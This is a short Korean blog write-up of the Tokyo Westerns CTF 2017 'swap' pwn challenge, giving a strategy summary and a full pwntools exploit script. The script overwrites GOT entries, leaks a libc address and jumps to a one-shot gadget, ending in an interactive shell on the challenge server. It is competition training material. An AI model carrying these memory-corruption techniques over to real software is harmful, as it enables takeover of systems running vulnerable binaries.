2017. 9. 13. 11:21

## Tokyo Westerns CTF_2017(swap, pwn)


[Summary]

1. memcpy <=> read : swap기능을 이용해 바꿔치면 memcpy()만 read로 변경된다.(arbitrary mem write 가능해짐)

2. oneshot gadget을 얻기 위해 libc leak을 해야한다.

=> setvbuf_got를 puts_plt로 덮어씌운다.

=> exit_got를 start의 주소로 덮어씌워 setvbuf를 실행시킨다.(결과적으로 puts(stderr))

=> stderr를 stdin의 주소로 바꾼다.(for puts(_IO_2__1_stdin's addr))

3. exit_got를 oneshot_gadget으로 덮어씌운다.


[Exploit Code]  - swap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./swap")
else:
    p = remote("pwn1.chal.ctf.westerns.tokyo"19937)
 
binary = ELF("./swap")
 
raw_input()
 
puts_plt = 0x4006b0
memcpy_got = 0x601040
puts_got = 0x601018
read_got = 0x601028
exit_got = 0x601058
setvbuf_got = 0x601048
start_addr = 0x400760
stdin_addr = 0x601090
stderr_addr = 0x6010a0
 
def print_menu():
    p.recvuntil('Your choice:')
 
def set_addr(addr1, addr2):
    print_menu()
    p.send('1'+'\n')
    p.recvuntil('1st addr')
    p.send(str(addr1))
    p.recvuntil('2nd addr')
    p.send(str(addr2))
 
def swap():
    print_menu()
    p.send('2'+'\n')
 
if __name__ == "__main__":
    ## Stage 1 : arbitrary mem write(using memcpy_got <= read_got)
    set_addr(memcpy_got, read_got)
    swap()
 
    ## Stage 2 : leak libc addr
    ##    - setvbuf_got <= puts_plt
    ##    - exit_got <= start_addr (for trigger setvbuf(puts))
    ##    - stderr <= stdin (for puts(_IO_2_1_stdin's addr)
    ##      => result : libc stdin leak => libc base => one shot
    set_addr(0, setvbuf_got)
    swap()
    p.send(p64(puts_plt))
 
    set_addr(0, exit_got)
    swap()
    p.send(p64(start_addr))
    
    set_addr(0, stderr_addr)
    swap()
    p.send(p64(stdin_addr))
 
    p.send('0'+'\n')
    p.recvuntil('Bye.')
    p.recvline(); p.recvline(); p.recvline()
 
    ## leak & calc
    _IO_2_1_stdin_leak = u64(p.recv(6)+"\x00\x00")
    libc_base = _IO_2_1_stdin_leak - 0x3c48e0
    one_gadget = libc_base + 0xf0274#0x4526a
    print "[+] _IO_2_1_stdin addr : " + hex(_IO_2_1_stdin_leak)
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] one shot gadget : " + hex(one_gadget)
 
    ## Stage 3 : exit <= oneshot_gadget
    set_addr(0, exit_got)
    swap()
    p.send(p64(one_gadget))
 
    ## Final : trigger
    p.send('0'+'\n')
    
    #print p.recv(1024)
    #puts_leak = p.recv(1024)[:6]+"\x00\x00"; 
    #print "[+] puts addr : " + hex(u64(puts_leak))
    
    
    p.interactive()
 
 
cs


[Get Flag~~!!!!]


[그림 1] flag 확인


끝~!

Posted by holinder4S